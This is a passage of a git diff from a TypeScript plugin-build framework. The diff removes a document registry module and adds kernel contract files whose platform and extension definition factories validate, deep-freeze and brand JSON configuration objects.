* 加入一个字段去向;重复且冲突的结论属于 Platform 结构错误。 - * - * @param entry Platform 对统一元数据字段的最终处理。 - */ - add(entry: MetadataDispositionEntry): void { - /** 同一 Platform 下字段去向的唯一键。 */ - const key = `${entry.platform}\0${entry.field}`; - /** 之前已经登记的字段去向。 */ - const existing = this.#items.get(key); - if (existing) { - if (existing.disposition !== entry.disposition || existing.output !== entry.output || existing.reason !== entry.reason) { - this.#diagnostics.error('METADATA_DISPOSITION_CONFLICT', `Metadata field ${entry.field} has conflicting dispositions.`, { - phase: 'metadata', platform: entry.platform, fieldPath: [entry.field], - }); - } - return; - } - this.#items.set(key, entry); - if (entry.disposition === 'omitted') { - this.#diagnostics.warning('METADATA_OMITTED', `Metadata field ${entry.field} is omitted: ${entry.reason}`, { - phase: 'metadata', platform: entry.platform, fieldPath: [entry.field], - }); - } - } -} - -/** - * 根据 Platform strict 配置,把功能降级或不支持转换为错误或警告。 - * - * @param collector 当前构建共享的诊断收集器。 - * @param platform 正在评估的平台 ID 与严格度。 - * @param entries 需要应用严格度策略的兼容性条目。 - */ -export function applyCompatibilityStrictness( - collector: DiagnosticCollectorLike, - platform: { readonly id: string; readonly strict: boolean }, - entries: readonly CompatibilityEntry[], -): void { - for (const entry of entries) { - if (entry.level !== 'degraded' && entry.level !== 'unsupported') - continue; - /** 供终端和报告共同展示的兼容性摘要。 */ - const message = `${entry.subject}: ${entry.reason}`; - /** 保留 Platform 与阶段信息的诊断上下文。 */ - const options: Partial> = { - phase: 'compatibility', - platform: entry.platform, - ...(entry.transformation === undefined ? {} : { hint: entry.transformation }), - }; - if (platform.strict) - collector.error('COMPATIBILITY_STRICT', message, options); - else - collector.warning('COMPATIBILITY_RELAXED', message, options); - } -} - -/** 将已校验的内部字符串收窄为报告使用的 PlatformId。 */ -export function internalPlatformId(value: string): PlatformId { - return value as PlatformId; -} diff --git a/packages/core/src/documents.ts b/packages/core/src/documents.ts deleted file mode 100644 index 4af464e..0000000 --- a/packages/core/src/documents.ts +++ /dev/null @@ -1,348 +0,0 @@ -import { ArtifactRegistry, type ArtifactSourcePolicies } from './artifacts.js'; -import { OutputPathRegistry } from './output-paths.js'; -import { compareCodeUnits } from './serialization.js'; -import type { - DocumentAddPatch, - DraftDocument, - JsonObject, - JsonValue, - PlatformDraftInput, - PlatformId, -} from './contracts.js'; -import type { Artifact, ArtifactInput } from './types.js'; - -/** Document 逻辑 ID 使用的小写 kebab-case 规则。 */ -const DOCUMENT_ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; - -/** Document Registry 内部保存的当前文档和可写扩展点。 */ -interface DocumentRecord { - readonly id: string; - readonly path: string; - readonly format: DraftDocument['format']; - readonly owner: `platform:${string}`; - readonly emission: NonNullable; - value: JsonValue; - readonly extensionPoints: ReadonlySet; - readonly extensionPointPaths: readonly (readonly string[])[]; - readonly fieldOwners: Map; -} - -/** - * 递归复制并冻结 Platform 或 Extension 提供的 JSON 值。 - * - * @param value 尚未进入 Core 所有权边界的候选值。 - * @param ancestors 当前递归链,用于拒绝循环对象。 - * @returns 与输入语义相同的不可变 JSON 快照。 - */ -function cloneJson(value: JsonValue, ancestors: WeakSet = new WeakSet()): JsonValue { - if (value === null || typeof value === 'string' || typeof value === 'boolean') - return value; - if (typeof value === 'number') { - if (!Number.isFinite(value)) - throw new Error('Document values only support finite JSON numbers.'); - return value; - } - if (ancestors.has(value)) - throw new Error('Document values cannot contain circular references.'); - ancestors.add(value); - if (Array.isArray(value)) { - /** 数组顺序属于 Platform 文档语义。 */ - const result = Object.freeze(value.map(item => cloneJson(item, ancestors))); - ancestors.delete(value); - return result; - } - /** 按稳定键顺序复制的普通 JSON 对象。 */ - const object = value as JsonObject; - /** 接收按键排序字段的不可变普通对象。 */ - const result: Record = {}; - for (const key of Object.keys(object).sort(compareCodeUnits)) { - /** 当前字段的递归不可变快照。 */ - const child = cloneJson(object[key]!, ancestors); - Object.defineProperty(result, key, { value: child, enumerable: true, configurable: false, writable: false }); - } - ancestors.delete(value); - return Object.freeze(result); -} - -/** - * 将字段路径转换为不会受字段内容歧义影响的内部键。 - * - * @param fieldPath Document 字段路径。 - * @returns JSON 字符串形式的稳定路径键。 - */ -function fieldKey(fieldPath: readonly string[]): string { - return JSON.stringify(fieldPath); -} - -/** - * 查找字段路径的父对象并确认最终字段尚不存在。 - * - * @param value 当前 Document 根值。 - * @param fieldPath 需要新增的字段路径。 - * @returns 父对象存在且最终字段为空位时返回 true。 - */ -function isEmptyField(value: JsonValue, fieldPath: readonly string[]): boolean { - /** 从根值逐层进入字段父对象的游标。 */ - let current: JsonValue = value; - for (const segment of fieldPath.slice(0, -1)) { - if (current === null || typeof current !== 'object' || Array.isArray(current) || !Object.hasOwn(current, segment)) - return false; - current = (current as JsonObject)[segment]!; - } - if (current === null || typeof current !== 'object' || Array.isArray(current)) - return false; - return !Object.hasOwn(current, fieldPath.at(-1)!); -} - -/** - * 在不可变 JSON 对象中新增一个此前不存在的字段。 - * - * @param value 当前 Document 根值。 - * @param fieldPath 已验证为空位的字段路径。 - * @param addition Extension 提供的不可变新增值。 - * @returns 完成路径复制后的新 Document 根值。 - */ -function addField(value: JsonValue, fieldPath: readonly string[], addition: JsonValue): JsonValue { - /** 当前层必然是字段路径父链上的 JSON 对象。 */ - const object = value as JsonObject; - /** 当前层需要进入或新增的字段名。 */ - const [head, ...tail] = fieldPath; - /** 保持原字段并按键排序输出的新对象字段集合。 */ - const entries: [string, JsonValue][] = Object.entries(object).map(([key, child]) => [ - key, - key === head && tail.length > 0 ? addField(child, tail, addition) : child, - ]); - if (tail.length === 0) - entries.push([head!, addition]); - /** 接收排序字段并逐项定义为只读属性的新 JSON 对象。 */ - const result: Record = {}; - for (const [key, child] of entries.sort(([left], [right]) => compareCodeUnits(left, right))) - Object.defineProperty(result, key, { value: child, enumerable: true, configurable: false, writable: false }); - return Object.freeze(result); -} - -/** 管理单个 Platform Draft 的逻辑 Document、扩展点和字段所有权。 */ -export class DocumentRegistry { - /** 当前 Platform 的固定 Document owner。 */ - readonly #platformOwner: `platform:${string}`; - /** 按逻辑 ID 索引的可控内部 Document 记录。 */ - readonly #documents = new Map(); - /** 与 Artifact Registry 共享的物理输出路径占用表。 */ - readonly #paths: OutputPathRegistry; - - /** - * 接管 Platform prepare 阶段提供的初始 Document。 - * - * @param platform 当前 Draft 所属的 Platform ID。 - * @param documents Platform 创建的初始文档列表。 - * @param paths 与 Artifact 共享的路径占用表。 - */ - constructor(platform: PlatformId, documents: readonly DraftDocument[], paths: OutputPathRegistry = new OutputPathRegistry()) { - this.#platformOwner = `platform:${platform}`; - this.#paths = paths; - for (const document of documents) - this.#addInitial(document); - } - - /** - * 校验并加入一个 Platform 初始 Document。 - * - * @param document 尚未进入 Registry 的文档。 - */ - #addInitial(document: DraftDocument): void { - if (!DOCUMENT_ID_PATTERN.test(document.id)) - throw new Error(`Document id "${document.id}" must use lowercase kebab-case.`); - if (this.#documents.has(document.id)) - throw new Error(`Duplicate Document id "${document.id}".`); - if (document.owner !== this.#platformOwner) - throw new Error(`Document "${document.id}" must be owned by "${this.#platformOwner}".`); - if (!['json', 'yaml', 'toml', 'frontmatter'].includes(document.format)) - throw new Error(`Document "${document.id}" has unsupported format.`); - if (document.emission !== undefined && document.emission !== 'required' && document.emission !== 'omit-if-empty') - throw new Error(`Document "${document.id}" has unsupported emission policy.`); - /** 在普通 Artifact 加入前预留文档最终物理路径。 */ - const reservation = this.#paths.reserve(this.#platformOwner, 'document', document.path); - /** Platform 初始值的 Core 所有不可变副本。 */ - const value = cloneJson(document.value); - /** 去重后的精确 add-only 扩展点路径键。 */ - const extensionPoints = new Set(); - /** 供最终 snapshot 保留语义路径的冻结副本。 */ - const extensionPointPaths: (readonly string[])[] = []; - for (const fieldPath of document.extensionPoints) { - if (fieldPath.length === 0 || fieldPath.some(segment => typeof segment !== 'string' || segment === '')) - throw new Error(`Document "${document.id}" has an invalid extension point.`); - /** 当前扩展点不可被 Platform 预先占值,否则会形成 replace 或 deep merge。 */ - const frozenPath = Object.freeze([...fieldPath]); - /** 当前扩展点用于去重与所有权记录的稳定路径键。 */ - const key = fieldKey(frozenPath); - if (extensionPoints.has(key)) - throw new Error(`Document "${document.id}" has a duplicate extension point.`); - if (!isEmptyField(value, frozenPath)) - throw new Error(`Document "${document.id}" extension point ${key} must identify an empty field.`); - extensionPoints.add(key); - extensionPointPaths.push(frozenPath); - } - /** 内部记录允许更新 value 引用,但从不向外暴露本对象。 */ - this.#documents.set(document.id, { - id: document.id, - path: reservation.path, - format: document.format, - owner: this.#platformOwner, - emission: document.emission ?? 'required', - value, - extensionPoints, - extensionPointPaths: Object.freeze(extensionPointPaths), - fieldOwners: new Map(), - }); - } - - /** - * 获取一个逻辑 Document 的只读当前值。 - * - * @param id Platform 定义的稳定逻辑 ID。 - * @returns 完成此前 Extension patch 的不可变值。 - */ - getDocument(id: string): Readonly | undefined { - return this.#documents.get(id)?.value as Readonly | undefined; - } - - /** - * 让 Extension 在精确声明且尚为空的扩展点新增字段。 - * - * @param owner `extension:` 形式的字段所有者。 - * @param patch Adapter 提交的逻辑 Document patch。 - */ - patchDocument(owner: `extension:${string}`, patch: DocumentAddPatch): void { - if (!owner.startsWith('extension:') || owner.length === 'extension:'.length) - throw new Error('Document patch owner must identify an Extension.'); - /** Patch 指向的逻辑 Document。 */ - const document = this.#documents.get(patch.document); - if (!document) - throw new Error(`Unknown Document id "${patch.document}".`); - /** Patch 路径的冻结副本和稳定所有权键。 */ - const patchPath = Object.freeze([...patch.path]); - /** Patch 精确字段路径对应的所有权索引键。 */ - const key = fieldKey(patchPath); - if (!document.extensionPoints.has(key)) - throw new Error(`Document "${patch.document}" does not declare extension point ${key}.`); - /** 已占用同一扩展点的 Extension owner。 */ - const existingOwner = document.fieldOwners.get(key); - if (existingOwner) - throw new Error(`Document field ${key} is already owned by "${existingOwner}".`); - if (!isEmptyField(document.value, patchPath)) - throw new Error(`Document field ${key} cannot be replaced or merged.`); - /** Extension 值进入文档前由 Core 复制并冻结。 */ - const addition = cloneJson(patch.value); - document.value = addField(document.value, patchPath, addition); - document.fieldOwners.set(key, owner); - } - - /** @returns 按逻辑 ID 排序且完全不可变的 Document 快照。 */ - snapshot(): readonly DraftDocument[] { - return Object.freeze([...this.#documents.values()] - .sort((left, right) => compareCodeUnits(left.id, right.id)) - .map(document => Object.freeze({ - id: document.id, - path: document.path, - format: document.format, - owner: document.owner, - emission: document.emission, - value: document.value, - extensionPoints: document.extensionPointPaths, - }))); - } -} - -/** 同时管理一个 Platform 的结构化 Document 与普通 Draft Artifact。 */ -export class PlatformDraftRegistry { - /** 当前 Draft 的 Platform owner。 */ - readonly #platformOwner: `platform:${string}`; - /** 结构化 Document Registry。 */ - readonly #documents: DocumentRegistry; - /** 与 Document 共享路径表的 Artifact Registry。 */ - readonly #artifacts: ArtifactRegistry; - - /** - * 创建空 Registry;调用方应使用异步 create 完成初始 Artifact 接管。 - * - * @param platform 当前 Platform ID。 - * @param documents 初始 Document。 - * @param sourcePolicies 按 Platform、Extension 与 Public owner 隔离的文件来源授权。 - * @param paths Document 与 Artifact 共享的路径表。 - */ - private constructor( - platform: PlatformId, - documents: readonly DraftDocument[], - sourcePolicies: ArtifactSourcePolicies, - paths: OutputPathRegistry, - ) { - this.#platformOwner = `platform:${platform}`; - this.#documents = new DocumentRegistry(platform, documents, paths); - this.#artifacts = new ArtifactRegistry(sourcePolicies, paths); - } - - /** - * 接管 Platform prepare 返回的完整初始 Draft。 - * - * @param platform 当前 Platform ID。 - * @param input Platform Draft 输入。 - * @param sourcePolicies 文件型 Artifact 按 owner 隔离的来源授权。 - * @returns 完成 Document 与 Artifact 校验的 Registry。 - */ - static async create( - platform: PlatformId, - input: PlatformDraftInput, - sourcePolicies: ArtifactSourcePolicies, - ): Promise { - /** 当前 Draft 内所有物理文件共享的路径占用表。 */ - const paths = new OutputPathRegistry(); - /** 初始文档已经占用路径的 Registry。 */ - const registry = new PlatformDraftRegistry(platform, input.documents, sourcePolicies, paths); - for (const artifact of input.artifacts) - await registry.#artifacts.add(registry.#platformOwner, artifact); - return registry; - } - - /** 按逻辑 ID 读取完成此前 Adapter patch 的不可变 Document 值。 */ - getDocument(id: string): Readonly | undefined { - return this.#documents.getDocument(id); - } - - /** 让指定 Extension owner 在精确声明的空扩展点新增字段。 */ - patchDocument(owner: `extension:${string}`, patch: DocumentAddPatch): void { - this.#documents.patchDocument(owner, patch); - } - - /** - * 加入 Extension Adapter 产生的普通 Artifact。 - * - * @param owner `extension:` 形式的 Artifact owner。 - * @param input Adapter 提交的 Artifact。 - * @returns 完成 hash 与路径校验的 Artifact。 - */ - async emitArtifact(owner: `extension:${string}`, input: ArtifactInput): Promise { - if (!owner.startsWith('extension:') || owner.length === 'extension:'.length) - throw new Error('Adapter Artifact owner must identify an Extension.'); - return this.#artifacts.add(owner, input); - } - - /** - * 注入由 Core Scanner 验证的 Public 文件。 - * - * @param input Public 文件对应的 file-source Artifact。 - * @returns owner 固定为 public 的已验证 Artifact。 - */ - async injectPublicArtifact(input: ArtifactInput): Promise { - return this.#artifacts.add('public', input); - } - - /** @returns 完成所有 add-only patch 后的只读文档快照。 */ - get documents(): readonly DraftDocument[] { - return this.#documents.snapshot(); - } - - /** @returns Platform 与 Extension 共同产生的只读 Artifact 快照。 */ - get artifacts(): readonly Artifact[] { - return this.#artifacts.artifacts; - } -} diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index 1d37b93..5f8c787 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -1,15 +1,8 @@ -export * from './types.js'; -export * from './contracts.js'; -export * from './diagnostics.js'; -export * from './reports.js'; -export * from './config.js'; -export * from './scanner.js'; -export * from './artifacts.js'; -export * from './documents.js'; -export * from './delivery-units.js'; +export * from './kernel-types.js'; +export * from './kernel-contracts.js'; export * from './transaction.js'; -export * from './lifecycle.js'; export * from './serialization.js'; - -/** Core 公共报告与配置契约的当前 Schema 版本。 */ -export const CORE_SCHEMA_VERSION = '1'; +export * from './compiler/compiler-host.js'; +export * from './kernel/project.js'; +export * from './kernel/build-session.js'; +export * from './kernel/config-resolver.js'; diff --git a/packages/core/src/kernel-author.ts b/packages/core/src/kernel-author.ts new file mode 100644 index 0000000..a11d8cd --- /dev/null +++ b/packages/core/src/kernel-author.ts @@ -0,0 +1,53 @@ +export type { + AgentCapability, + AgentModel, + AssetMode, + AssetOrigin, + BuildConfig, + BuildMode, + BuildReport, + CompatibilityEntry, + CompatibilityLevel, + ComponentReport, + ConfigCommand, + ConfigEnvironment, + CreateProjectOptions, + DevSession, + DevSessionEvent, + Diagnostic, + DiagnosticInput, + DiagnosticPhase, + ExtensionReport, + ExtensionSubject, + MetadataDisposition, + MetadataDispositionEntry, + NodeRuntimeConfig, + NodeRuntimeEntryInput, + NodeRuntimeEntryKind, + PackageAssetReport, + PackageUnitReport, + PlatformDeliveryType, + PlatformReport, + PluginAuthor, + PluginMetadata, + PortableNodeCompileOptions, + PortableNodeResolveOptions, + PortableNodeTransformOptions, + Project, + ProjectDevOptions, + ProjectRunOptions, + PublicConfig, + PublicCopyRule, + RunProjectOptions, + RuntimeReport, + SourceLocation, + UserConfig, + UserConfigExport, +} from './kernel-types.js'; + +// 作者报告 serializer 与 SDK 工具共享同一个确定性 JSON 实现。 +export { stableJson } from './serialization.js'; +export { + nodeRuntimeArtifactPath, + nodeRuntimeLicensesArtifactPath, +} from './resources/runtime-paths.js'; diff --git a/packages/core/src/kernel-contracts.ts b/packages/core/src/kernel-contracts.ts new file mode 100644 index 0000000..1dc11a9 --- /dev/null +++ b/packages/core/src/kernel-contracts.ts @@ -0,0 +1,395 @@ +import type { + AcpluginExtension, + AcpluginPlatform, + ExtensionDefinition, + JsonObject, + JsonValue, + PlatformCapabilities, + PlatformDefinition, +} from './kernel-types.js'; +import { LIFECYCLE_API_VERSION } from './kernel-types.js'; + +/** Platform ID、Extension ID、Resource root 和 job ID 共用的稳定标识规则。 */ +const STABLE_ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** 跨 root/SDK/CLI bundle chunk 共享的 Platform 定义品牌。 */ +const platformBrand = Symbol.for(`tokenroll.acplugin.platform.${LIFECYCLE_API_VERSION}`); + +/** 跨 root/SDK/CLI bundle chunk 共享的 Extension 定义品牌。 */ +const extensionBrand = Symbol.for(`tokenroll.acplugin.extension.${LIFECYCLE_API_VERSION}`); + +/** Platform definition 唯一允许的公共字段。 */ +const platformFields = new Set(['id', 'apiVersion', 'deliveryType', 'strict', 'options', 'capabilities', 'createSession']); + +/** Extension definition 唯一允许的公共字段。 */ +const extensionFields = new Set(['id', 'apiVersion', 'options', 'resourceRoots', 'createSession']); + +/** JSON 规范化递归调用时使用的路径与祖先记录。 */ +interface JsonNormalizationState { + readonly ancestors: Set; + readonly path: string; +} + +/** + * 按 UTF-16 code unit 比较稳定键。 + * + * @param left 左侧文本。 + * @param right 右侧文本。 + * @returns 排序比较结果。 + */ +function compareCodeUnits(left: string, right: string): number { + if (left === right) + return 0; + return left < right ? -1 : 1; +} + +/** + * 确认对象不携带 accessor、Symbol 或不可见字段语义。 + * + * @param value 待检查对象。 + * @param label 诊断中的对象角色。 + * @returns 自有字符串字段描述符。 + */ +function dataDescriptors(value: object, label: string): Record { + /** Symbol 字段既不属于 JSON,也不能成为隐藏定义字段。 */ + const symbols = Object.getOwnPropertySymbols(value); + if (symbols.length > 0) + throw new TypeError(`${label} must not contain symbol properties.`); + /** 所有自有字符串字段的完整描述符。 */ + const descriptors = Object.getOwnPropertyDescriptors(value); + for (const [field, descriptor] of Object.entries(descriptors)) { + if (!('value' in descriptor)) + throw new TypeError(`${label}.${field} must be a data property, not an accessor.`); + } + return descriptors; +} + +/** + * 验证对象使用 plain-object 原型。 + * + * @param value 待检查值。 + * @param label 诊断中的对象角色。 + */ +function assertPlainObject(value: unknown, label: string): asserts value is Record { + if (typeof value !== 'object' || value === null || Array.isArray(value)) + throw new TypeError(`${label} must be a plain object.`); + /** class instance 与自定义 prototype 不属于无行为 contract。 */ + const prototype = Object.getPrototypeOf(value); + if (prototype !== Object.prototype && prototype !== null) + throw new TypeError(`${label} must be a plain object.`); +} + +/** + * 拒绝定义上的未知字段并返回其数据描述符。 + * + * @param value 待检查定义对象。 + * @param allowed 允许字段集合。 + * @param label 诊断中的定义角色。 + * @returns 通过检查的数据描述符。 + */ +function definitionDescriptors(value: unknown, allowed: ReadonlySet, label: string): Record { + assertPlainObject(value, label); + /** 定义字段必须全部是显式 data property。 */ + const descriptors = dataDescriptors(value, label); + for (const field of Object.keys(descriptors)) { + if (!allowed.has(field)) + throw new TypeError(`Unknown ${label} field "${field}".`); + } + return descriptors; +} + +/** + * 递归复制并冻结严格 JSON 值。 + * + * @param value 调用方仍可能持有的原始值。 + * @param state 当前递归祖先与字段路径。 + * @returns 与调用方身份隔离的冻结副本。 + */ +function copyJson(value: unknown, state: JsonNormalizationState): JsonValue { + if (value === null || typeof value === 'string' || typeof value === 'boolean') + return value; + if (typeof value === 'number') { + if (!Number.isFinite(value)) + throw new TypeError(`${state.path} must contain only finite JSON numbers.`); + return value; + } + if (typeof value !== 'object') + throw new TypeError(`${state.path} must contain only JSON values.`); + if (state.ancestors.has(value)) + throw new TypeError(`${state.path} must not contain cycles.`); + state.ancestors.add(value); + try { + if (Array.isArray(value)) { + /** 稀疏数组无法被无歧义地复制成 JSON。 */ + for (let index = 0; index < value.length; index += 1) { + if (!Object.prototype.hasOwnProperty.call(value, index)) + throw new TypeError(`${state.path} must not contain sparse arrays.`); + } + /** 数组不能携带 index/length 之外的隐藏字符串字段。 */ + const descriptors = dataDescriptors(value, state.path); + for (const field of Object.keys(descriptors)) { + if (field !== 'length' && !/^(?:0|[1-9][0-9]*)$/.test(field)) + throw new TypeError(`${state.path} arrays must not contain custom properties.`); + } + return Object.freeze(value.map((item, index) => copyJson(item, { + ancestors: state.ancestors, + path: `${state.path}[${index}]`, + }))); + } + assertPlainObject(value, state.path); + /** JSON 对象只读取已验证的 data descriptors,绝不触发 getter。 */ + const descriptors = dataDescriptors(value, state.path); + /** 使用普通对象确保公开 options 保持预期 JSON 对象语义。 */ + const result: Record = {}; + for (const field of Object.keys(descriptors).sort(compareCodeUnits)) { + result[field] = copyJson(descriptors[field]!.value, { + ancestors: state.ancestors, + path: `${state.path}.${field}`, + }); + } + return Object.freeze(result); + } finally { + state.ancestors.delete(value); + } +} + +/** + * 复制一个严格 JSON 对象。 + * + * @param value 可省略的原始 options。 + * @param label 诊断中的对象角色。 + * @returns 冻结的 JSON 对象副本。 + */ +function copyJsonObject(value: unknown, label: string): Readonly { + assertPlainObject(value, label); + return copyJson(value, { ancestors: new Set(), path: label }) as Readonly; +} + +/** + * 验证 JSON 容器及全部后代都已冻结。 + * + * @param value 已通过 JSON 形态校验的候选值。 + * @returns 所有容器都冻结时返回 true。 + */ +function isDeeplyFrozenJson(value: unknown): boolean { + if (value === null || typeof value !== 'object') + return true; + if (!Object.isFrozen(value)) + return false; + if (Array.isArray(value)) + return value.every(isDeeplyFrozenJson); + return Object.values(value as Record).every(isDeeplyFrozenJson); +} + +/** + * 复制并验证开放的 Platform capability 数据。 + * + * @param value 原始 capability 对象。 + * @returns 冻结且完成 nodeRuntime 语义校验的能力副本。 + */ +function copyCapabilities(value: unknown): Readonly { + /** 未声明能力与空 capability 对象具有相同语义。 */ + const copied = copyJsonObject(value ?? {}, 'Platform capabilities') as PlatformCapabilities; + if (copied.nodeRuntime !== undefined) { + /** nodeRuntime 是 Framework 理解的唯一结构化内建能力。 */ + const runtime = copied.nodeRuntime; + assertPlainObject(runtime, 'Platform capabilities.nodeRuntime'); + /** 内建能力必须只包含固定的三个协商字段。 */ + const fields = Object.keys(dataDescriptors(runtime, 'Platform capabilities.nodeRuntime')).sort(compareCodeUnits); + if (fields.length !== 3 || fields[0] !== 'format' || fields[1] !== 'root' || fields[2] !== 'target' + || runtime.target !== 'node20' || runtime.format !== 'esm' || runtime.root !== 'plugin') { + throw new TypeError('Platform capabilities.nodeRuntime must declare Node 20 ESM at the Plugin root.'); + } + } + return copied; +} + +/** + * 验证稳定 lowercase-kebab 标识。 + * + * @param value 未知标识值。 + * @param label 诊断中的标识角色。 + * @returns 已验证标识文本。 + */ +function stableId(value: unknown, label: string): string { + if (typeof value !== 'string' || !STABLE_ID_PATTERN.test(value)) + throw new TypeError(`${label} must use lowercase kebab-case.`); + return value; +} + +/** + * 读取 definition 的已验证 data property。 + * + * @param descriptors definition 字段描述符。 + * @param field 要读取的字段。 + * @returns 未知字段值。 + */ +function definitionValue(descriptors: Record, field: string): unknown { + return descriptors[field]?.value; +} + +/** + * 使用共享品牌构造最终 Platform definition。 + * + * @param definition trusted integration 提交的平台定义。 + * @returns 完成形态校验、复制和冻结的平台定义。 + */ +export function definePlatform(definition: PlatformDefinition): AcpluginPlatform { + /** definition 顶层必须是精确 plain-object contract。 */ + const descriptors = definitionDescriptors(definition, platformFields, 'Platform definition'); + /** API version 在任何回调运行前检查。 */ + if (definitionValue(descriptors, 'apiVersion') !== LIFECYCLE_API_VERSION) + throw new TypeError(`Unsupported Platform API version; expected ${LIFECYCLE_API_VERSION}.`); + /** delivery type 决定主 Package 的语义而不是输出路径。 */ + const deliveryType = definitionValue(descriptors, 'deliveryType'); + if (deliveryType !== 'plugin' && deliveryType !== 'workspace' && deliveryType !== 'package') + throw new TypeError('Platform deliveryType must be plugin, workspace, or package.'); + /** 可选 strict override 必须是布尔值。 */ + const strict = definitionValue(descriptors, 'strict'); + if (strict !== undefined && typeof strict !== 'boolean') + throw new TypeError('Platform strict must be a boolean when provided.'); + /** Session factory 是 definition 唯一持有行为的入口。 */ + const createSession = definitionValue(descriptors, 'createSession'); + if (typeof createSession !== 'function') + throw new TypeError('Platform createSession must be a function.'); + /** options 总是复制,使调用方后续 mutation 不影响配置。 */ + const options = copyJsonObject(definitionValue(descriptors, 'options') ?? {}, 'Platform options'); + /** capabilities 使用同一 JSON 复制规则并额外验证内建能力。 */ + const capabilities = copyCapabilities(definitionValue(descriptors, 'capabilities')); + /** 最终外壳不展开原始对象,避免未知继承字段进入实例。 */ + const platform = { + id: stableId(definitionValue(descriptors, 'id'), 'Platform id'), + apiVersion: LIFECYCLE_API_VERSION, + deliveryType, + ...(strict === undefined ? {} : { strict }), + options, + capabilities, + createSession, + }; + Object.defineProperty(platform, platformBrand, { value: true, enumerable: false }); + return Object.freeze(platform) as unknown as AcpluginPlatform; +} + +/** + * 验证未知值是否为当前主包工厂创建的完整 Platform definition。 + * + * @param value 配置加载器收到的候选值。 + * @returns 品牌和完整外壳均有效时返回 true。 + */ +export function isAcpluginPlatform(value: unknown): value is AcpluginPlatform { + if (typeof value !== 'object' || value === null) + return false; + /** 共享 Symbol 只解决 bundle identity,完整 shape 仍独立验证。 */ + const candidate = value as Record; + if (candidate[platformBrand] !== true || !Object.isFrozen(value)) + return false; + try { + /** 工厂实例包含共享 registry brand,因此允许这一个已知 Symbol 后检查公共字段。 */ + const symbols = Object.getOwnPropertySymbols(value); + if (symbols.length !== 1 || symbols[0] !== platformBrand) + return false; + /** 品牌不可枚举、不可写且不可配置。 */ + const brand = Object.getOwnPropertyDescriptor(value, platformBrand); + if (brand?.value !== true || brand.enumerable || brand.writable || brand.configurable) + return false; + /** 公共 shape 和深冻 JSON 数据仍必须完整。 */ + const fields = Object.keys(value).sort(compareCodeUnits); + /** factory 必须始终物化这些规范字段,strict 是唯一可选字段。 */ + const required = ['apiVersion', 'capabilities', 'createSession', 'deliveryType', 'id', 'options']; + if (fields.some(field => !platformFields.has(field)) || required.some(field => !fields.includes(field))) + return false; + if (candidate.apiVersion !== LIFECYCLE_API_VERSION || typeof candidate.id !== 'string' || !STABLE_ID_PATTERN.test(candidate.id) + || (candidate.deliveryType !== 'plugin' && candidate.deliveryType !== 'workspace' && candidate.deliveryType !== 'package') + || (candidate.strict !== undefined && typeof candidate.strict !== 'boolean') || typeof candidate.createSession !== 'function') + return false; + copyJsonObject(candidate.options, 'Platform options'); + copyCapabilities(candidate.capabilities); + return isDeeplyFrozenJson(candidate.options) && isDeeplyFrozenJson(candidate.capabilities); + } catch { + return false; + } +} + +/** + * 使用共享品牌构造最终 Extension definition。 + * + * @param definition trusted integration 提交的 Extension 定义。 + * @returns 完成形态校验、复制和冻结的 Extension 定义。 + */ +export function defineExtension< + const O extends JsonObject, + D = unknown, + V = D, + B = V, +>(definition: ExtensionDefinition): AcpluginExtension { + /** definition 顶层必须是精确 plain-object contract。 */ + const descriptors = definitionDescriptors(definition, extensionFields, 'Extension definition'); + if (definitionValue(descriptors, 'apiVersion') !== LIFECYCLE_API_VERSION) + throw new TypeError(`Unsupported Extension API version; expected ${LIFECYCLE_API_VERSION}.`); + /** Session factory 是 Extension definition 唯一持有行为的入口。 */ + const createSession = definitionValue(descriptors, 'createSession'); + if (typeof createSession !== 'function') + throw new TypeError('Extension createSession must be a function.'); + /** resource root 必须是互不重复的 srcDir 一级稳定目录名。 */ + const rawRoots = definitionValue(descriptors, 'resourceRoots'); + if (!Array.isArray(rawRoots)) + throw new TypeError('Extension resourceRoots must be an array.'); + /** 已复制的 root 数组隔离调用方 mutation。 */ + const resourceRoots = rawRoots.map(root => stableId(root, 'Extension resource root')); + if (new Set(resourceRoots).size !== resourceRoots.length) + throw new TypeError('Extension resourceRoots must not contain duplicates.'); + /** options 与 Platform 使用完全相同的 JSON contract。 */ + const options = copyJsonObject(definitionValue(descriptors, 'options') ?? {}, 'Extension options'); + /** 最终外壳仅包含 v2 definition 字段。 */ + const extension = { + id: stableId(definitionValue(descriptors, 'id'), 'Extension id'), + apiVersion: LIFECYCLE_API_VERSION, + options, + resourceRoots: Object.freeze(resourceRoots), + createSession, + }; + Object.defineProperty(extension, extensionBrand, { value: true, enumerable: false }); + return Object.freeze(extension) as unknown as AcpluginExtension; +} + +/** + * 验证未知值是否为当前主包工厂创建的完整 Extension definition。 + * + * @param value 配置加载器收到的候选值。 + * @returns 品牌和完整外壳均有效时返回 true。 + */ +export function isAcpluginExtension(value: unknown): value is AcpluginExtension { + if (typeof value !== 'object' || value === null) + return false; + /** 共享 Symbol 只解决 bundle identity,完整 shape 仍独立验证。 */ + const candidate = value as Record; + if (candidate[extensionBrand] !== true || !Object.isFrozen(value)) + return false; + try { + /** 工厂实例只允许自己的不可变共享 registry brand。 */ + const symbols = Object.getOwnPropertySymbols(value); + if (symbols.length !== 1 || symbols[0] !== extensionBrand) + return false; + /** 品牌必须由 defineProperty 的默认只读策略创建。 */ + const brand = Object.getOwnPropertyDescriptor(value, extensionBrand); + if (brand?.value !== true || brand.enumerable || brand.writable || brand.configurable) + return false; + /** 公共字段不能在工厂之后被伪造或遗漏。 */ + const fields = Object.keys(value).sort(compareCodeUnits); + /** Extension factory 始终物化完整的五字段外壳。 */ + const required = ['apiVersion', 'createSession', 'id', 'options', 'resourceRoots']; + if (fields.some(field => !extensionFields.has(field)) || required.some(field => !fields.includes(field))) + return false; + if (candidate.apiVersion !== LIFECYCLE_API_VERSION || typeof candidate.id !== 'string' || !STABLE_ID_PATTERN.test(candidate.id) + || typeof candidate.createSession !== 'function' || !Array.isArray(candidate.resourceRoots) + || !Object.isFrozen(candidate.resourceRoots) || !isDeeplyFrozenJson(candidate.options)) + return false; + /** 再次运行纯验证,确保跨 bundle 输入仍满足完整 shape。 */ + copyJsonObject(candidate.options, 'Extension options'); + /** 所有 root 再次通过稳定 ID 校验并检查唯一性。 */ + const roots = candidate.resourceRoots.map(root => stableId(root, 'Extension resource root')); + return new Set(roots).size === roots.length; + } catch { + return false; + } +} 